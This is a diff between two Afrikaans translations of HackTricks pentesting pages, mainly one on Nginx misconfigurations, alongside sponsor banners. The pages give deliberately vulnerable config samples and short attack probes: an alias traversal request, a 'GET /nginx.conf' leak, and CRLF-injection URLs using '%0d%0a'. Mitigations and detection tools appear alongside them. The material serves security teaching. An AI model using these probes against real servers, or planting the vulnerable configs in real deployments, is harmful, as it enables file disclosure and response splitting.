||||||
Jy kan hulpmiddels soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye vir wysigings te monitor wat kwesbaarhede kan invoeg.
|
Jy kan hulpmiddels soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye vir wysigings te monitor wat kwesbaarhede kan invoeg.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is besig om aan te stel!** (_vloeiend Pools geskryf en gesproke vereis_).
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
**Vind en rapporteer kritieke, uitbuitbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte hulpmiddels om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om voorregte te verhoog, en gebruik outomatiese uitbuitings om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
### HackTricks Outomatiese Opdragte
|
### HackTricks Outomatiese Opdragte
|
||||||
```
|
```
|
||||||
|
|
|
@ -10,11 +10,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
Amptelike bladsy: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
Amptelike bladsy: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
||||||
|
|
||||||
## Toegang
|
## Toegang
|
||||||
|
@ -46,6 +50,10 @@ In [**hierdie pos**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
|
||||||
},
|
},
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -17,13 +17,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Ontbrekende wortel ligging <a href="#missing-root-location" id="missing-root-location"></a>
|
## Ontbrekende wortel ligging <a href="#missing-root-location" id="missing-root-location"></a>
|
||||||
|
|
||||||
Wanneer die Nginx-bediener gekonfigureer word, speel die **wortelrigting** 'n kritieke rol deur die basisgids te definieer waaruit lêers bedien word. Oorweeg die onderstaande voorbeeld:
|
Wanneer jy die Nginx-bediener konfigureer, speel die **wortelrigting** 'n kritieke rol deur die basisgids te definieer waaruit lêers bedien word. Oorweeg die onderstaande voorbeeld:
|
||||||
```bash
|
```bash
|
||||||
server {
|
server {
|
||||||
root /etc/nginx;
|
root /etc/nginx;
|
||||||
|
@ -34,19 +36,19 @@ proxy_pass http://127.0.0.1:8080/;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
In hierdie konfigurasie is `/etc/nginx` as die wortelgids aangewys. Hierdie opstelling stel toegang tot lêers binne die gespesifiseerde wortelgids, soos `/hello.txt`, in staat. Dit is egter belangrik om te noem dat slegs 'n spesifieke ligging (`/hello.txt`) gedefinieer is. Daar is geen konfigurasie vir die wortel ligging nie (`location / {...}`). Hierdie omissie beteken dat die wortelriglyn globaal van toepassing is, wat versoeke na die wortelpad `/` in staat stel om lêers onder `/etc/nginx` te benader.
|
In hierdie konfigurasie is `/etc/nginx` as die wortelgids aangewys. Hierdie opstelling laat toegang tot lêers binne die gespesifiseerde wortelgids toe, soos `/hello.txt`. Dit is egter van kardinale belang om te noem dat slegs 'n spesifieke ligging (`/hello.txt`) gedefinieer is. Daar is geen konfigurasie vir die wortel ligging nie (`location / {...}`). Hierdie omissie beteken dat die wortelriglyn globaal van toepassing is, wat versoeke na die wortelpunt `/` toelaat om lêers onder `/etc/nginx` te benader.
|
||||||
|
|
||||||
'n Kritieke sekuriteitsoorweging ontstaan uit hierdie konfigurasie. 'n Eenvoudige `GET` versoek, soos `GET /nginx.conf`, kan sensitiewe inligting blootstel deur die Nginx konfigurasielêer wat geleë is by `/etc/nginx/nginx.conf` te bedien. Om die wortel na 'n minder sensitiewe gids, soos `/etc`, in te stel, kan hierdie risiko verminder, maar dit mag steeds onbedoelde toegang tot ander kritieke lêers, insluitend ander konfigurasielêers, toeganglogs en selfs versleutelde akrediteerings wat vir HTTP basiese outentisering gebruik word, toelaat.
|
'n Kritieke sekuriteitsoorweging ontstaan uit hierdie konfigurasie. 'n Eenvoudige `GET` versoek, soos `GET /nginx.conf`, kan sensitiewe inligting blootstel deur die Nginx konfigurasielêer wat geleë is by `/etc/nginx/nginx.conf` te bedien. Om die wortel na 'n minder sensitiewe gids, soos `/etc`, in te stel, kan hierdie risiko verminder, maar dit mag steeds onbedoelde toegang tot ander kritieke lêers, insluitend ander konfigurasielêers, toeganglogs en selfs versleutelde akrediteerings wat vir HTTP basiese outentisering gebruik word, toelaat.
|
||||||
|
|
||||||
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||||
|
|
||||||
In die konfigurasielêers van Nginx is 'n noukeurige inspeksie van die "location" riglyne nodig. 'n Kwessie bekend as Local File Inclusion (LFI) kan per ongeluk bekendgestel word deur 'n konfigurasie wat soos die volgende lyk:
|
In die konfigurasielêers van Nginx is 'n noukeurige inspeksie van die "location" riglyne nodig. 'n Kwessie bekend as Local File Inclusion (LFI) kan per ongeluk ingevoer word deur 'n konfigurasie wat soos die volgende lyk:
|
||||||
```
|
```
|
||||||
location /imgs {
|
location /imgs {
|
||||||
alias /path/images/;
|
alias /path/images/;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Hierdie konfigurasie is geneig tot LFI-aanvalle weens die bediener wat versoeke soos `/imgs../flag.txt` interpreteer as 'n poging om lêers buite die bedoelde gids te benader, wat effektief oplos na `/path/images/../flag.txt`. Hierdie fout laat aanvallers toe om lêers van die bediener se lêerstelsel te verkry wat nie via die web toeganklik behoort te wees nie.
|
Hierdie konfigurasie is geneig tot LFI-aanvalle weens die bediener wat versoeke soos `/imgs../flag.txt` interpreteer as 'n poging om lêers buite die bedoelde gids te bekom, wat effektief oplos na `/path/images/../flag.txt`. Hierdie fout laat aanvallers toe om lêers van die bediener se lêerstelsel te verkry wat nie via die web toeganklik behoort te wees nie.
|
||||||
|
|
||||||
Om hierdie kwesbaarheid te verminder, moet die konfigurasie aangepas word na:
|
Om hierdie kwesbaarheid te verminder, moet die konfigurasie aangepas word na:
|
||||||
```
|
```
|
||||||
|
@ -80,7 +82,7 @@ deny all;
|
||||||
[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
|
[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Onveilige gebruik van veranderlikes / HTTP Versoek Splitsing <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
## Onveilige veranderlike gebruik / HTTP Versoek Splitsing <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Kwetsbare veranderlikes `$uri` en `$document_uri` en dit kan reggestel word deur dit te vervang met `$request_uri`.
|
Kwetsbare veranderlikes `$uri` en `$document_uri` en dit kan reggestel word deur dit te vervang met `$request_uri`.
|
||||||
|
@ -89,7 +91,7 @@ Kwetsbare veranderlikes `$uri` en `$document_uri` en dit kan reggestel word deur
|
||||||
|
|
||||||
`location ~ /docs/([^/])? { … $1 … }` - Kwetsbaar 
|
`location ~ /docs/([^/])? { … $1 … }` - Kwetsbaar 
|
||||||
|
|
||||||
`location ~ /docs/([^/\s])? { … $1 … }` - Nie kwesbaar nie (kontroleer spaties)
|
`location ~ /docs/([^/\s])? { … $1 … }` - Nie kwesbaar nie (kontroleer spasies)
|
||||||
|
|
||||||
`location ~ /docs/(.*)? { … $1 … }` - Nie kwesbaar nie
|
`location ~ /docs/(.*)? { … $1 … }` - Nie kwesbaar nie
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -100,7 +102,7 @@ location / {
|
||||||
return 302 https://example.com$uri;
|
return 302 https://example.com$uri;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Die karakters \r (Carriage Return) en \n (Line Feed) dui nuwe lyn karakters aan in HTTP versoeke, en hul URL-gecodeerde vorms word voorgestel as `%0d%0a`. Om hierdie karakters in 'n versoek in te sluit (bv. `http://localhost/%0d%0aDetectify:%20clrf`) na 'n verkeerd geconfigureerde bediener lei tot die bediener wat 'n nuwe kop genaamd `Detectify` uitreik. Dit gebeur omdat die $uri veranderlike die URL-gecodeerde nuwe lyn karakters decodeer, wat lei tot 'n onverwagte kop in die antwoord:
|
Die karakters \r (Carriage Return) en \n (Line Feed) dui nuwe lyn karakters in HTTP versoeke aan, en hul URL-gecodeerde vorms word voorgestel as `%0d%0a`. Om hierdie karakters in 'n versoek in te sluit (bv. `http://localhost/%0d%0aDetectify:%20clrf`) na 'n verkeerd geconfigureerde bediener lei tot die bediener wat 'n nuwe kop genaamd `Detectify` uitreik. Dit gebeur omdat die $uri veranderlike die URL-gecodeerde nuwe lyn karakters decodeer, wat lei tot 'n onverwagte kop in die antwoord:
|
||||||
```
|
```
|
||||||
HTTP/1.1 302 Moved Temporarily
|
HTTP/1.1 302 Moved Temporarily
|
||||||
Server: nginx/1.19.3
|
Server: nginx/1.19.3
|
||||||
|
@ -112,12 +114,12 @@ Detectify: clrf
|
||||||
```
|
```
|
||||||
Leer meer oor die risiko's van CRLF-inspuiting en antwoordsplitsing by [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
Leer meer oor die risiko's van CRLF-inspuiting en antwoordsplitsing by [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||||
|
|
||||||
Ook hierdie tegniek is [**verduidelik in hierdie praatjie**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) met 'n paar kwesbare voorbeelde en opsporingsmeganismes. Byvoorbeeld, om hierdie miskonfigurasie vanuit 'n swartdoos perspektief op te spoor, kan jy hierdie versoeke gebruik:
|
Ook hierdie tegniek is [**verduidelik in hierdie praatjie**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) met 'n paar kwesbare voorbeelde en opsporingsmeganismes. Byvoorbeeld, om hierdie verkeerde konfigurasie vanuit 'n swartdoos perspektief op te spoor, kan jy hierdie versoeke gebruik:
|
||||||
|
|
||||||
* `https://example.com/%20X` - Enige HTTP-kode
|
* `https://example.com/%20X` - Enige HTTP-kode
|
||||||
* `https://example.com/%20H` - 400 Bad Request
|
* `https://example.com/%20H` - 400 Bad Request
|
||||||
|
|
||||||
As kwesbaar, sal die eerste terugkeer as "X" enige HTTP-metode is en die tweede sal 'n fout teruggee aangesien H nie 'n geldige metode is nie. So die bediener sal iets soos ontvang: `GET / H HTTP/1.1` en dit sal die fout aktiveer.
|
As kwesbaar, sal die eerste terugkeer as "X" is enige HTTP-metode en die tweede sal 'n fout teruggee aangesien H nie 'n geldige metode is nie. So die bediener sal iets soos ontvang: `GET / H HTTP/1.1` en dit sal die fout aktiveer.
|
||||||
|
|
||||||
Nog 'n opsporingsvoorbeeld kan wees:
|
Nog 'n opsporingsvoorbeeld kan wees:
|
||||||
|
|
||||||
|
@ -126,7 +128,7 @@ Nog 'n opsporingsvoorbeeld kan wees:
|
||||||
|
|
||||||
Sommige gevonde kwesbare konfigurasies wat in daardie praatjie aangebied is, was:
|
Sommige gevonde kwesbare konfigurasies wat in daardie praatjie aangebied is, was:
|
||||||
|
|
||||||
* Let op hoe **`$uri`** soos dit is in die finale URL gestel is.
|
* Let op hoe **`$uri`** as is in die finale URL gestel is.
|
||||||
```
|
```
|
||||||
location ^~ /lite/api/ {
|
location ^~ /lite/api/ {
|
||||||
proxy_pass http://lite-backend$uri$is_args$args;
|
proxy_pass http://lite-backend$uri$is_args$args;
|
||||||
|
@ -146,7 +148,7 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
||||||
```
|
```
|
||||||
### Enige veranderlike
|
### Enige veranderlike
|
||||||
|
|
||||||
Daar is ontdek dat **gebruikersgeleverde data** onder sekere omstandighede as 'n **Nginx veranderlike** behandel kan word. Die oorsaak van hierdie gedrag bly ietwat ontwykend, maar dit is nie ongewoon of eenvoudig om te verifieer nie. Hierdie anomalie is in 'n sekuriteitsverslag op HackerOne beklemtoon, wat [hier](https://hackerone.com/reports/370094) beskou kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifikasie van sy voorkoms binne die [SSI-filtermodule van Nginx se kodebasis](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wat Server Side Includes (SSI) as die oorsaak identifiseer.
|
Daar is ontdek dat **gebruikersgeleverde data** onder sekere omstandighede as 'n **Nginx veranderlike** beskou kan word. Die oorsaak van hierdie gedrag bly ietwat ontwykend, maar dit is nie ongewoon of eenvoudig om te verifieer nie. Hierdie anomalie is in 'n sekuriteitsverslag op HackerOne beklemtoon, wat hier [beskou](https://hackerone.com/reports/370094) kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifikasie van sy voorkoms binne die [SSI-filtermodule van Nginx se kodebasis](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wat Server Side Includes (SSI) as die worteloorsaak aandui.
|
||||||
|
|
||||||
Om **hierdie miskonfigurasie te ontdek**, kan die volgende opdrag uitgevoer word, wat behels om 'n referer-kop te stel om vir veranderlike druk te toets:
|
Om **hierdie miskonfigurasie te ontdek**, kan die volgende opdrag uitgevoer word, wat behels om 'n referer-kop te stel om vir veranderlike druk te toets:
|
||||||
```bash
|
```bash
|
||||||
|
@ -156,9 +158,9 @@ Scans vir hierdie miskonfigurasie oor stelsels het verskeie gevalle onthul waar
|
||||||
|
|
||||||
## Rau backend respons lees
|
## Rau backend respons lees
|
||||||
|
|
||||||
Nginx bied 'n kenmerk deur `proxy_pass` wat die onderskepping van foute en HTTP-koppe wat deur die backend geproduseer word, moontlik maak, met die doel om interne foutboodskappe en koppe te verberg. Dit word bereik deur Nginx wat pasgemaakte foutbladsye dien in reaksie op backend-foute. Uitdagings ontstaan egter wanneer Nginx 'n ongeldige HTTP-versoek teëkom. So 'n versoek word na die backend gestuur soos ontvang, en die backend se rau respons word dan direk aan die kliënt gestuur sonder Nginx se tussenkoms.
|
Nginx bied 'n kenmerk deur `proxy_pass` wat die onderskepping van foute en HTTP-koppe wat deur die backend geproduseer word, moontlik maak, met die doel om interne foutboodskappe en koppe te verberg. Dit word bereik deurdat Nginx pasgemaakte foutbladsye dien in reaksie op backend-foute. Uitdagings ontstaan egter wanneer Nginx 'n ongeldige HTTP-versoek teëkom. So 'n versoek word na die backend gestuur soos ontvang, en die backend se rau respons word dan direk aan die kliënt gestuur sonder Nginx se tussenkoms.
|
||||||
|
|
||||||
Oorweeg 'n voorbeeldscenario wat 'n uWSGI-toepassing betrek:
|
Overweeg 'n voorbeeldscenario wat 'n uWSGI-toepassing betrek:
|
||||||
```python
|
```python
|
||||||
def application(environ, start_response):
|
def application(environ, start_response):
|
||||||
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
|
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
|
||||||
|
@ -179,9 +181,9 @@ Wanneer 'n geldige `GET` versoek gemaak word, verwerk Nginx dit normaalweg, en k
|
||||||
|
|
||||||
## merge\_slashes op af
|
## merge\_slashes op af
|
||||||
|
|
||||||
Standaard is Nginx se **`merge_slashes` riglyn** op **`aan`** gestel, wat verskeie vorentoe-skuins in 'n URL in 'n enkele skuins saampers. Hierdie kenmerk, terwyl dit URL-verwerking stroomlyn, kan onbedoeld kwesbaarhede in toepassings agter Nginx verberg, veral dié wat geneig is tot plaaslike lêerinvoeging (LFI) aanvalle. Sekuriteitskenners **Danny Robinson en Rotem Bar** het die potensiële risiko's wat met hierdie standaardgedrag geassosieer word, beklemtoon, veral wanneer Nginx as 'n omgekeerde proxy optree.
|
Standaard is Nginx se **`merge_slashes` riglyn** op **`aan`** gestel, wat verskeie voorwaartse skuinsstrepies in 'n URL in 'n enkele skuinsstreep saampers. Hierdie kenmerk, terwyl dit URL-verwerking stroomlyn, kan onbedoeld kwesbaarhede in toepassings agter Nginx verberg, veral dié wat geneig is tot plaaslike lêerinvoeging (LFI) aanvalle. Sekuriteitskenners **Danny Robinson en Rotem Bar** het die potensiële risiko's wat met hierdie standaardgedrag geassosieer word, beklemtoon, veral wanneer Nginx as 'n omgekeerde proxy optree.
|
||||||
|
|
||||||
Om sulke risiko's te verminder, word dit aanbeveel om **die `merge_slashes` riglyn af te skakel** vir toepassings wat vatbaar is vir hierdie kwesbaarhede. Dit verseker dat Nginx versoeke aan die toepassing deurgee sonder om die URL-struktuur te verander, en dus nie enige onderliggende sekuriteitskwessies te verberg nie.
|
Om sulke risiko's te verminder, word dit aanbeveel om die **`merge_slashes` riglyn af te skakel** vir toepassings wat vatbaar is vir hierdie kwesbaarhede. Dit verseker dat Nginx versoeke aan die toepassing deurgee sonder om die URL-struktuur te verander, en dus nie enige onderliggende sekuriteitskwessies te verberg nie.
|
||||||
|
|
||||||
Vir meer inligting, kyk na [Danny Robinson en Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
Vir meer inligting, kyk na [Danny Robinson en Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
||||||
|
|
||||||
|
@ -189,7 +191,7 @@ Vir meer inligting, kyk na [Danny Robinson en Rotem Bar](https://medium.com/apps
|
||||||
|
|
||||||
Soos getoon in [**hierdie skrywe**](https://mizu.re/post/cors-playground), is daar sekere koptekste wat, indien teenwoordig in die antwoord van die webbediener, die gedrag van die Nginx-proxy sal verander. Jy kan hulle [**in die dokumentasie**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/) nagaan:
|
Soos getoon in [**hierdie skrywe**](https://mizu.re/post/cors-playground), is daar sekere koptekste wat, indien teenwoordig in die antwoord van die webbediener, die gedrag van die Nginx-proxy sal verander. Jy kan hulle [**in die dokumentasie**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/) nagaan:
|
||||||
|
|
||||||
* `X-Accel-Redirect`: Gee aan Nginx om intern 'n versoek na 'n gespesifiseerde ligging te herlei.
|
* `X-Accel-Redirect`: Dui aan Nginx aan om 'n versoek intern na 'n gespesifiseerde ligging te herlei.
|
||||||
* `X-Accel-Buffering`: Beheer of Nginx die antwoord moet buffere of nie.
|
* `X-Accel-Buffering`: Beheer of Nginx die antwoord moet buffere of nie.
|
||||||
* `X-Accel-Charset`: Stel die karakterstel vir die antwoord in wanneer X-Accel-Redirect gebruik word.
|
* `X-Accel-Charset`: Stel die karakterstel vir die antwoord in wanneer X-Accel-Redirect gebruik word.
|
||||||
* `X-Accel-Expires`: Stel die vervaldatum vir die antwoord in wanneer X-Accel-Redirect gebruik word.
|
* `X-Accel-Expires`: Stel die vervaldatum vir die antwoord in wanneer X-Accel-Redirect gebruik word.
|
||||||
|
@ -218,21 +220,21 @@ return 200 "Hello. It is private area: $mappocallow";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Without a `default`, a **malicious user** can bypass security by accessing an **undefined URI** within `/map-poc`. [The Nginx manual](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) advises setting a **default value** to avoid such issues.
|
Without a `default`, a **malicious user** kan sekuriteit omseil deur toegang te verkry tot 'n **onbeskryfde URI** binne `/map-poc`. [Die Nginx-handleiding](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) adviseer om 'n **standaardwaarde** in te stel om sulke probleme te vermy.
|
||||||
|
|
||||||
### **DNS Spoofing Kwetsbaarheid**
|
### **DNS Spoofing Kwesbaarheid**
|
||||||
|
|
||||||
DNS spoofing teen Nginx is haalbaar onder sekere omstandighede. As 'n aanvaller die **DNS-bediener** wat deur Nginx gebruik word, ken en sy DNS-vrae kan onderskep, kan hulle DNS-rekords spoof. Hierdie metode is egter ondoeltreffend as Nginx geconfigureer is om **localhost (127.0.0.1)** vir DNS-resolusie te gebruik. Nginx laat toe om 'n DNS-bediener soos volg te spesifiseer:
|
DNS spoofing teen Nginx is haalbaar onder sekere omstandighede. As 'n aanvaller die **DNS-server** wat deur Nginx gebruik word, ken en sy DNS-vrae kan onderskep, kan hulle DNS-rekords spoof. Hierdie metode is egter ondoeltreffend as Nginx geconfigureer is om **localhost (127.0.0.1)** vir DNS-resolusie te gebruik. Nginx laat toe om 'n DNS-server soos volg te spesifiseer:
|
||||||
```yaml
|
```yaml
|
||||||
resolver 8.8.8.8;
|
resolver 8.8.8.8;
|
||||||
```
|
```
|
||||||
### **`proxy_pass` en `internal` Direktiewe**
|
### **`proxy_pass` en `internal` Direktiewe**
|
||||||
|
|
||||||
Die **`proxy_pass`** direktief word gebruik om versoeke na ander bedieners te herlei, hetsy intern of ekstern. Die **`internal`** direktief verseker dat sekere plekke slegs binne Nginx toeganklik is. Alhoewel hierdie direktiewe nie kwesbaarhede op hul eie is nie, vereis hul konfigurasie sorgvuldige ondersoek om sekuriteitsfoute te voorkom.
|
Die **`proxy_pass`** direktief word gebruik om versoeke na ander bedieners te herlei, hetsy intern of ekstern. Die **`internal`** direktief verseker dat sekere plekke slegs binne Nginx toeganklik is. Alhoewel hierdie direktiewe nie kwesbaarhede op hul eie is nie, vereis hul konfigurasie noukeurige ondersoek om sekuriteitsfoute te voorkom.
|
||||||
|
|
||||||
## proxy\_set\_header Upgrade & Connection
|
## proxy\_set\_header Upgrade & Connection
|
||||||
|
|
||||||
As die nginx bediener geconfigureer is om die Upgrade en Connection headers oor te dra, kan 'n [**h2c Smuggling aanval**](../../pentesting-web/h2c-smuggling.md) uitgevoer word om toegang te verkry tot beskermde/intern eindpunte.
|
As die nginx bediener geconfigureer is om die Upgrade en Connection headers oor te dra, kan 'n [**h2c Smuggling aanval**](../../pentesting-web/h2c-smuggling.md) uitgevoer word om toegang te verkry tot beskermde/internale eindpunte.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Hierdie kwesbaarheid sou 'n aanvaller in staat stel om **'n direkte verbinding met die `proxy_pass` eindpunt te vestig** (`http://backend:9999` in hierdie geval) waarvan die inhoud nie deur nginx gaan nagegaan word nie.
|
Hierdie kwesbaarheid sou 'n aanvaller in staat stel om **'n direkte verbinding met die `proxy_pass` eindpunt te vestig** (`http://backend:9999` in hierdie geval) waarvan die inhoud nie deur nginx gaan nagegaan word nie.
|
||||||
|
@ -268,7 +270,7 @@ Detectify het 'n GitHub-repo geskep waar jy Docker kan gebruik om jou eie kwesba
|
||||||
|
|
||||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||||
|
|
||||||
## Statiese Analiseer gereedskap
|
## Statiese ontleder gereedskap
|
||||||
|
|
||||||
### [GIXY](https://github.com/yandex/gixy)
|
### [GIXY](https://github.com/yandex/gixy)
|
||||||
|
|
||||||
|
@ -286,7 +288,9 @@ Nginxpwner is 'n eenvoudige hulpmiddel om te soek na algemene Nginx-miskonfigura
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
